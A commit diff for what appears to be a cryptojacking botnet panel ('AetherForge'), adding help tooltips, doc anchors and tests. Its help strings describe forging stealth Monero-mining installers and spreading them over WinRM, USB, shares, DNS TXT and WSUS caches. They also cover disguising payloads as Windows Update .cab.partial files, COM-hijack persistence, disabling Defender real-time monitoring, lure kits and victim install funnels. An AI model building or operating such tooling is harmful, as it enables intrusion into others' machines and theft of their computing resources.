Add HelpTip coverage for War Room, Mission Deck, and Forge gaps (UH-03–05).
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
import type { ForgeFieldMeta } from '../../help/forgeRules';
|
||||
import { forgeBadgeLabel } from '../../help/forgeRules';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
|
||||
interface ForgeLockedHintProps {
|
||||
meta?: ForgeFieldMeta;
|
||||
@@ -31,13 +32,17 @@ interface ForgeSectionHeaderProps {
|
||||
title: string;
|
||||
description: string;
|
||||
badge: 'baked' | 'server-only';
|
||||
helpField?: string;
|
||||
}
|
||||
|
||||
export function ForgeSectionHeader({ title, description, badge }: ForgeSectionHeaderProps) {
|
||||
export function ForgeSectionHeader({ title, description, badge, helpField }: ForgeSectionHeaderProps) {
|
||||
return (
|
||||
<div className="forge-section-header">
|
||||
<div className="forge-section-title-row">
|
||||
<h3>{title}</h3>
|
||||
<h3>
|
||||
{title}
|
||||
{helpField ? <> <HelpTip field={helpField} /></> : null}
|
||||
</h3>
|
||||
<span className={`forge-field-badge forge-badge-${badge}`}>{forgeBadgeLabel(badge)}</span>
|
||||
</div>
|
||||
<p className="form-hint forge-section-desc">{description}</p>
|
||||
|
||||
@@ -6,6 +6,7 @@ import {
|
||||
tickForceLayout,
|
||||
type ConstellationNode,
|
||||
} from '../../help/campaignConstellations';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
|
||||
interface CampaignConstellationsProps {
|
||||
campaigns: WarRoomCampaign[];
|
||||
@@ -169,7 +170,8 @@ export default function CampaignConstellations({ campaigns, onSelectCampaign }:
|
||||
|
||||
<p className="war-room-constellation-legend form-hint">
|
||||
Node size = hits · brightness = online · color = conversion · edges = shared pin/build.
|
||||
Click a star to jump to its funnel card.
|
||||
Click a star to jump to its funnel card.{' '}
|
||||
<HelpTip field="ew_war_room_constellations" />
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -11,6 +11,7 @@ import {
|
||||
} from '../../help/warRoom';
|
||||
import { hashHeatIntensity, lotlTierLabel } from '../../help/warRoomTelemetry';
|
||||
import JoinLaneBadge from '../Fleet/JoinLaneBadge';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import WarRoomOdometer from './WarRoomOdometer';
|
||||
|
||||
interface WarRoomFunnelBoardProps {
|
||||
@@ -44,6 +45,9 @@ export default function WarRoomFunnelBoard({
|
||||
className={`war-room-funnel-board${alive ? ' war-room-funnel-board--alive' : ''}`}
|
||||
role="list"
|
||||
>
|
||||
<p className="war-room-funnel-board-key form-hint">
|
||||
Funnel board <HelpTip field="ew_war_room_funnel_board" />
|
||||
</p>
|
||||
{campaigns.map((c, cardIndex) => {
|
||||
const stages = funnelStages(c);
|
||||
const leaks = detectFunnelLeaks(c);
|
||||
@@ -201,11 +205,13 @@ export default function WarRoomFunnelBoard({
|
||||
<p className="war-room-leak-msg">{primaryLeak.message}</p>
|
||||
<p className="war-room-leak-action">{primaryLeak.action}</p>
|
||||
</div>
|
||||
<HelpTip field="ew_war_room_leak" />
|
||||
</div>
|
||||
) : (
|
||||
<div className="war-room-leak war-room-leak--clear" role="status">
|
||||
<span className="war-room-leak-badge">FLOW</span>
|
||||
<p className="war-room-leak-msg">Funnel flowing — no major leaks detected.</p>
|
||||
<HelpTip field="ew_war_room_leak" />
|
||||
</div>
|
||||
)}
|
||||
</article>
|
||||
|
||||
@@ -23,11 +23,21 @@ const HELP_TIP_FIELDS = [
|
||||
'adaptive_strategy', 'lotl_onion_tiers',
|
||||
'forge_operation_mode', 'forge_path_forge',
|
||||
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
|
||||
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',
|
||||
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread', 'wsus_format_mimic',
|
||||
'com_hijack_persist', 'linux_lotl_mode',
|
||||
'forge_simple_mode', 'forge_deliverable', 'https_beacon_after_min', 'apk_mode',
|
||||
'set_alerts', 'set_alert_notifications', 'set_webhook',
|
||||
] as const;
|
||||
|
||||
/** UI HelpTip fields for Mission Deck, Emberwake War Room, and dashboard widgets. */
|
||||
const UI_HELP_TIP_FIELDS = [
|
||||
'md_overview', 'md_operation_chip', 'md_spread_profile', 'md_campaign_identity',
|
||||
'md_strike_pipeline', 'md_equip_strike', 'md_loadout_preview', 'md_campaign_slug', 'md_preflight',
|
||||
'ew_war_room', 'ew_war_room_funnel', 'ew_war_room_views',
|
||||
'ew_war_room_funnel_board', 'ew_war_room_stats_table', 'ew_war_room_constellations', 'ew_war_room_leak',
|
||||
'dash_install_funnel',
|
||||
] as const;
|
||||
|
||||
describe('docAnchors', () => {
|
||||
it('maps at least 60 forge/calibrate/crucible hints', () => {
|
||||
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
|
||||
@@ -66,6 +76,21 @@ describe('docAnchors', () => {
|
||||
}
|
||||
});
|
||||
|
||||
it('Mission Deck and War Room UI HelpTips have help text and anchors', () => {
|
||||
for (const field of UI_HELP_TIP_FIELDS) {
|
||||
expect(UI_HELP[field], `missing UI_HELP for ${field}`).toBeDefined();
|
||||
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(
|
||||
/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html(#[\w-]+)?)$/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('covers wsus_format_mimic and https_beacon_after_min forge anchors', () => {
|
||||
expect(DOC_ANCHORS.wsus_format_mimic).toBe('/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer');
|
||||
expect(DOC_ANCHORS.https_beacon_after_min).toBe('/docs/#agent');
|
||||
expect(FIELD_HELP.wsus_format_mimic).toContain('cab.partial');
|
||||
});
|
||||
|
||||
it('covers newly added forge scheduling and fusion anchors', () => {
|
||||
expect(DOC_ANCHORS.mining_mode).toBe('/docs/#forge-stealth');
|
||||
expect(DOC_ANCHORS.fusion_media_mode).toBe('/docs/#forge');
|
||||
|
||||
@@ -3,6 +3,9 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
// Calibrate
|
||||
calibrate_wallet: '/docs/#calibrate',
|
||||
calibrate_quick_setup: '/docs/#quick-start',
|
||||
calibrate_defender_exclusions: '/docs/#calibrate',
|
||||
av_limits: '/docs/#calibrate',
|
||||
defender_off: '/docs/#crucible-ops',
|
||||
public_url: '/docs/#calibrate',
|
||||
cloudflare_tunnel_token: '/docs/#calibrate',
|
||||
open_firewall_on_start: '/docs/#security-auth',
|
||||
@@ -74,6 +77,8 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
dns_txt_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-dns_txt',
|
||||
webrtc_mesh_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-webrtc_mesh',
|
||||
wsus_cache_peer_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer',
|
||||
wsus_format_mimic: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer',
|
||||
https_beacon_after_min: '/docs/#agent',
|
||||
com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
remote_aggressive: '/docs/#crucible-ops',
|
||||
@@ -115,6 +120,9 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
md_campaign_identity: '/docs/#mission-deck',
|
||||
md_strike_pipeline: '/docs/#mission-deck',
|
||||
md_equip_strike: '/docs/#mission-deck',
|
||||
md_loadout_preview: '/docs/#mission-deck',
|
||||
md_campaign_slug: '/docs/#mission-deck',
|
||||
md_preflight: '/docs/#mission-deck',
|
||||
|
||||
// Calibrate server
|
||||
websocket_ping_seconds: '/docs/#calibrate',
|
||||
@@ -139,8 +147,23 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
fleet_runtime_policy: '/docs/#calibrate',
|
||||
|
||||
// Emberwake war room
|
||||
ew_overview: '/docs/#spread-campaigns',
|
||||
ew_campaign_setup: '/docs/#spread-campaigns',
|
||||
ew_campaign_slug: '/docs/#spread-campaigns',
|
||||
ew_install_links: '/docs/#build-manager',
|
||||
ew_spread_kit: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
ew_war_room: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
ew_supply_chain: '/docs/#spread-campaigns',
|
||||
ew_public_urls: '/docs/#build-manager',
|
||||
ew_techniques: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
ew_shared_notes: '/docs/#spread-campaigns',
|
||||
ew_war_room_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
ew_war_room_views: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
ew_war_room_funnel_board: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
ew_war_room_stats_table: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
ew_war_room_constellations: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
ew_war_room_leak: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
spread_funnel_widget: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
};
|
||||
|
||||
export function docAnchorForField(field: string): string | undefined {
|
||||
|
||||
@@ -32,6 +32,9 @@ describe('FIELD_HELP', () => {
|
||||
const expectedKeys = [
|
||||
'calibrate_wallet',
|
||||
'calibrate_quick_setup',
|
||||
'calibrate_defender_exclusions',
|
||||
'av_limits',
|
||||
'defender_off',
|
||||
'forge_simple_mode',
|
||||
'forge_lotl_onion',
|
||||
'lotl_onion_tiers',
|
||||
@@ -130,6 +133,7 @@ describe('FIELD_HELP', () => {
|
||||
'dns_txt_spread',
|
||||
'webrtc_mesh_spread',
|
||||
'wsus_cache_peer_spread',
|
||||
'wsus_format_mimic',
|
||||
'com_hijack_persist',
|
||||
'linux_lotl_mode',
|
||||
'hole_punch',
|
||||
@@ -176,6 +180,8 @@ describe('FIELD_HELP', () => {
|
||||
expect(FIELD_HELP.usb_spread).toContain('USB');
|
||||
expect(FIELD_HELP.share_spread).toContain('share');
|
||||
expect(FIELD_HELP.winrm_spread).toContain('WinRM');
|
||||
expect(FIELD_HELP.wsus_cache_peer_spread).toContain('WSUS');
|
||||
expect(FIELD_HELP.wsus_format_mimic).toContain('cab.partial');
|
||||
expect(FIELD_HELP.com_hijack_persist).toContain('CLSID');
|
||||
expect(FIELD_HELP.linux_lotl_mode).toContain('systemd-run');
|
||||
});
|
||||
@@ -186,4 +192,18 @@ describe('FIELD_HELP', () => {
|
||||
expect(FIELD_HELP.erasure_lanes).toMatch(/dns_txt|bits_curl|do_peer|wsus_cache_peer/);
|
||||
expect(FIELD_HELP.erasure_lanes).toMatch(/Foundation only/i);
|
||||
});
|
||||
|
||||
it('documents honest AV limits — no invisible mining', () => {
|
||||
expect(FIELD_HELP.av_limits).toMatch(/100% invisible|not 100% invisible/i);
|
||||
expect(FIELD_HELP.av_limits).toMatch(/in-process RandomX/i);
|
||||
expect(FIELD_HELP.calibrate_defender_exclusions).toMatch(/Tamper Protection/i);
|
||||
expect(FIELD_HELP.calibrate_defender_exclusions).toMatch(/manually|manual/i);
|
||||
expect(FIELD_HELP.defender_off).toMatch(/real-time monitoring only/i);
|
||||
expect(FIELD_HELP.defender_off).toMatch(/Tamper Protection/i);
|
||||
expect(FIELD_HELP.miner_execution).toMatch(/likely_blockers/i);
|
||||
expect(FIELD_HELP.miner_execution).toMatch(/Mining Diagnostics/i);
|
||||
expect(FIELD_HELP.forge_operation_mode).toMatch(/AV-Safe.*inprocess/i);
|
||||
expect(FIELD_HELP.remote_aggressive).toMatch(/defender_off/i);
|
||||
expect(FIELD_HELP.remote_aggressive).toMatch(/exclusions/i);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -22,10 +22,16 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 or 8 and be 90–106 characters.',
|
||||
calibrate_quick_setup:
|
||||
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
|
||||
calibrate_defender_exclusions:
|
||||
'Generates an elevated PowerShell script (.ps1) you run manually on each Windows worker — path + process allowlists only. The agent does not silently bypass AV. Tamper Protection, Controlled folder access, cloud-delivered protection, SmartScreen, and behavioral blocks can still interfere even after exclusions. Disable Tamper Protection temporarily if Add-MpPreference is rejected.',
|
||||
av_limits:
|
||||
'No mining architecture is 100% invisible to AV. Best practical combo: in-process RandomX (no external CPU miner .exe) + Calibrate Defender exclusions + dedicated mining hardware for GPU subprocess paths. Garble, hollow, spread, and T-Rex/TRM downloads remain high-friction.',
|
||||
defender_off:
|
||||
'Crucible remote action: disables Windows Defender real-time monitoring only (Set-MpPreference). Requires admin and Remote Aggressive Ops. Tamper Protection reverts changes; cloud/behavioral/Controlled folder access/SmartScreen keep running. Not a substitute for path exclusions — use Calibrate → Windows Defender Exclusions.',
|
||||
forge_simple_mode:
|
||||
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
|
||||
forge_operation_mode:
|
||||
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only — no GPU exe, no hollow/spread, idle caps), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Default forge execution is auto (full cascade); AV-Safe still bakes inprocess only. Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
forge_lotl_onion:
|
||||
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
||||
adaptive_strategy:
|
||||
@@ -103,7 +109,7 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
|
||||
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
|
||||
miner_execution:
|
||||
'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.',
|
||||
'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe (lowest AV friction). Container isolates CPU mining but AV still sees docker.exe and image pulls. Subprocess is GPU-only and often quarantined. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Crucible → Mining Diagnostics returns JSON likely_blockers; use Calibrate → Defender Exclusions on Windows fleets.',
|
||||
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
|
||||
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
|
||||
schedule_start: 'For Scheduled mode: daily start time (24h).',
|
||||
@@ -169,10 +175,13 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.',
|
||||
wsus_cache_peer_spread:
|
||||
'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.',
|
||||
wsus_format_mimic:
|
||||
'WSUS Format Mimic: staged shard files use *.cab.partial filenames with SSU/CAB-like headers so payloads resemble Windows Update cache chunks. Requires WSUS Cache Peer spread enabled. Windows-only; default ON for Windows forges.',
|
||||
com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
|
||||
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
|
||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
||||
remote_aggressive:
|
||||
'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender_off (RTP disable only, admin required). Requires explicit button press; nothing runs automatically except what other toggles define. AV is not fully disabled — exclusions remain the reliable path.',
|
||||
target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.',
|
||||
apk_mode:
|
||||
'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.',
|
||||
|
||||
@@ -73,6 +73,9 @@ describe('UI_HELP', () => {
|
||||
'md_campaign_identity',
|
||||
'md_strike_pipeline',
|
||||
'md_equip_strike',
|
||||
'md_loadout_preview',
|
||||
'md_campaign_slug',
|
||||
'md_preflight',
|
||||
'ew_overview',
|
||||
'ew_campaign_setup',
|
||||
'ew_campaign_slug',
|
||||
@@ -85,6 +88,10 @@ describe('UI_HELP', () => {
|
||||
'ew_shared_notes',
|
||||
'ew_war_room_funnel',
|
||||
'ew_war_room_views',
|
||||
'ew_war_room_funnel_board',
|
||||
'ew_war_room_stats_table',
|
||||
'ew_war_room_constellations',
|
||||
'ew_war_room_leak',
|
||||
'crucible_btn_spread_now',
|
||||
'crucible_btn_subnet_scan',
|
||||
'crucible_btn_hole_punch',
|
||||
@@ -95,6 +102,7 @@ describe('UI_HELP', () => {
|
||||
'set_alerts',
|
||||
'set_alert_notifications',
|
||||
'set_webhook',
|
||||
'ui_color_scheme',
|
||||
'crucible_section_spread_templates',
|
||||
] as const;
|
||||
|
||||
|
||||
@@ -149,6 +149,12 @@ export const UI_HELP: Record<string, string> = {
|
||||
'One automated run: lock presets → compile the agent → export spread-kit ZIP when the loadout requires it. Install commands live on Builds after the run finishes.',
|
||||
md_equip_strike:
|
||||
'Starts the pipeline using your equipped loadout. Fix wallet or control URL errors before clicking; grab install one-liners from Builds when done.',
|
||||
md_loadout_preview:
|
||||
'Live summary of your equipped preset: operation chip, spread profile, campaign slug, worker name, and deliverable shape. Preflight runs before Equip & Strike — fix wallet or endpoint errors shown below the button.',
|
||||
md_campaign_slug:
|
||||
'Short tag appended as ?c= on install links. Emberwake War Room groups hits, downloads, beacons, and hashrate by this slug — set it before forging so telemetry lands in the right campaign.',
|
||||
md_preflight:
|
||||
'Wallet, control URL, and worker name must pass validation before Equip & Strike unlocks. Spread Kit export is skipped automatically when your loadout ships a single-platform or fusion deliverable instead.',
|
||||
|
||||
ew_overview:
|
||||
'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).',
|
||||
@@ -174,6 +180,14 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Shows hits → downloads → first beacon → mining counts per ?c= slug for the selected window. Each column is a funnel stage; a large drop at any step points to where the install chain is breaking.',
|
||||
ew_war_room_views:
|
||||
'Switch between Funnel board (per-stage campaign breakdown), Stats table (full numbers with sparklines), and Constellations (visual map of campaign activity). All three draw from the same rolling window.',
|
||||
ew_war_room_funnel_board:
|
||||
'Per-campaign funnel cards: hits → downloads → first beacon → mining → hashrate with stage conversion rates and 7-day hit sparklines. Compare to Command Deck Install Funnel (build-centric) — War Room is campaign-slug centric via ?c=.',
|
||||
ew_war_room_stats_table:
|
||||
'Tabular War Room view with odometer counts, conversion %, online agents, and daily hit sparklines per campaign slug. Same data as the funnel board — use when you need sortable numbers across many campaigns.',
|
||||
ew_war_room_constellations:
|
||||
'Force-directed map: node size = hits, brightness = online agents, color = conversion %, edges = shared pin/build. Click a star to highlight its funnel card below.',
|
||||
ew_war_room_leak:
|
||||
'Automated funnel leak hints when a stage drops sharply (e.g. downloads but no beacons). LEAK = critical drop; Drip = minor — follow the suggested action on each card.',
|
||||
|
||||
crucible_btn_spread_now:
|
||||
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
|
||||
@@ -197,4 +211,6 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Push fleet events to Telegram, a custom webhook endpoint, or email (SMTP). Fill bot token + chat ID or webhook URL, choose which events to forward, save Calibration, then send a test message to confirm delivery.',
|
||||
set_webhook:
|
||||
'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.',
|
||||
ui_color_scheme:
|
||||
'AetherForge is steampunk dark-first. When your OS uses light mode, panels soften slightly via prefers-color-scheme — neon brass/cyan tokens stay the same. No separate theme toggle yet.',
|
||||
};
|
||||
|
||||
@@ -78,6 +78,7 @@ import {
|
||||
} from '../help/forgeMissionWizard';
|
||||
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
|
||||
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
|
||||
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
|
||||
import './BuilderPage.css';
|
||||
|
||||
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
|
||||
@@ -1048,51 +1049,52 @@ export default function BuilderPage() {
|
||||
onChange={handleFileSelected}
|
||||
/>
|
||||
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>Forge</h1>
|
||||
<p className="page-subtitle">
|
||||
{simpleMode
|
||||
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
|
||||
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
|
||||
</p>
|
||||
</div>
|
||||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(true)}
|
||||
title={FIELD_HELP.forge_simple_mode}
|
||||
>
|
||||
Simple
|
||||
<SacredPageHeader
|
||||
eyebrow="INSTALLER FORGE"
|
||||
title="Forge"
|
||||
subtitle={
|
||||
simpleMode
|
||||
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
|
||||
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'
|
||||
}
|
||||
actions={
|
||||
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
|
||||
<HelpTip field="forge_simple_mode" label="Simple vs Advanced" />
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(true)}
|
||||
title={FIELD_HELP.forge_simple_mode}
|
||||
>
|
||||
Simple
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(false)}
|
||||
>
|
||||
Advanced
|
||||
</button>
|
||||
</div>
|
||||
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
||||
Recent Builds
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(false)}
|
||||
>
|
||||
Advanced
|
||||
<button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
|
||||
💾 Save Blueprint
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
|
||||
📂 Load Blueprint
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
|
||||
⬇️ Export .json
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
|
||||
📥 Import .json
|
||||
</button>
|
||||
</div>
|
||||
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
||||
Recent Builds
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
|
||||
💾 Save Blueprint
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
|
||||
📂 Load Blueprint
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
|
||||
⬇️ Export .json
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
|
||||
📥 Import .json
|
||||
</button>
|
||||
</div>
|
||||
</header>
|
||||
}
|
||||
/>
|
||||
|
||||
{/* Blueprint status message */}
|
||||
{blueprintMsg && (
|
||||
@@ -1680,7 +1682,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
{form.https_beacon_fallback !== false && (
|
||||
<div className="form-group">
|
||||
<label className="label">HTTPS fallback after (min)</label>
|
||||
<label className="label">HTTPS fallback after (min) <HelpTip field="https_beacon_after_min" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
@@ -1821,6 +1823,7 @@ export default function BuilderPage() {
|
||||
title="Deliverable"
|
||||
badge="baked"
|
||||
description="Pick what you are shipping. Incompatible options are locked automatically."
|
||||
helpField="forge_deliverable"
|
||||
/>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
{deliverableSummary(deliverableType)}
|
||||
@@ -2040,6 +2043,7 @@ export default function BuilderPage() {
|
||||
<option value="powershell">PowerShell in-memory (LOTL)</option>
|
||||
<option value="dotnet">Dotnet/MSBuild compile-at-runtime (LOTL)</option>
|
||||
</select>
|
||||
<FieldHint field="miner_execution" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
|
||||
@@ -381,6 +381,9 @@ export default function EmberwakePage() {
|
||||
/>
|
||||
) : (
|
||||
<div className="war-room-table-wrap">
|
||||
<p className="war-room-table-key form-hint">
|
||||
Stats table <HelpTip field="ew_war_room_stats_table" />
|
||||
</p>
|
||||
<table className="war-room-table">
|
||||
<thead>
|
||||
<tr>
|
||||
|
||||
@@ -432,7 +432,9 @@ export default function MissionDeckPage() {
|
||||
<div className="loadout-preview-scanlines" aria-hidden />
|
||||
</div>
|
||||
<div className="loadout-preview-meta">
|
||||
<p className="loadout-preview-eyebrow font-tech">2 — Your loadout</p>
|
||||
<p className="loadout-preview-eyebrow font-tech">
|
||||
2 — Your loadout <HelpTip field="md_loadout_preview" />
|
||||
</p>
|
||||
<h2 className="loadout-preview-title">{selectedChipDef.label}</h2>
|
||||
<p className="loadout-preview-desc">{selectedChipDef.blurb}</p>
|
||||
<dl className="loadout-preview-stats">
|
||||
@@ -469,7 +471,10 @@ export default function MissionDeckPage() {
|
||||
<HelpTip field="md_equip_strike" label="How Equip & Strike works" />
|
||||
</p>
|
||||
{!canLaunch && !missionBusy && (
|
||||
<p className="form-hint loadout-cta-hint">Fix preflight errors in your loadout before equipping.</p>
|
||||
<p className="form-hint loadout-cta-hint">
|
||||
Fix preflight errors in your loadout before equipping.{' '}
|
||||
<HelpTip field="md_preflight" label="Preflight rules" />
|
||||
</p>
|
||||
)}
|
||||
{error && <p className="form-hint loadout-error-hint">{error}</p>}
|
||||
</div>
|
||||
@@ -545,7 +550,9 @@ export default function MissionDeckPage() {
|
||||
<NeonCard accent="gold" tilt3d hud className="loadout-kit-card operator-deck-card operator-interactive">
|
||||
<h3 style={{ marginTop: 0 }}>Campaign & identity</h3>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="md-campaign">Campaign slug (?c=)</label>
|
||||
<label className="label" htmlFor="md-campaign">
|
||||
Campaign slug (?c=) <HelpTip field="md_campaign_slug" />
|
||||
</label>
|
||||
<input
|
||||
id="md-campaign"
|
||||
type="text"
|
||||
@@ -557,7 +564,9 @@ export default function MissionDeckPage() {
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
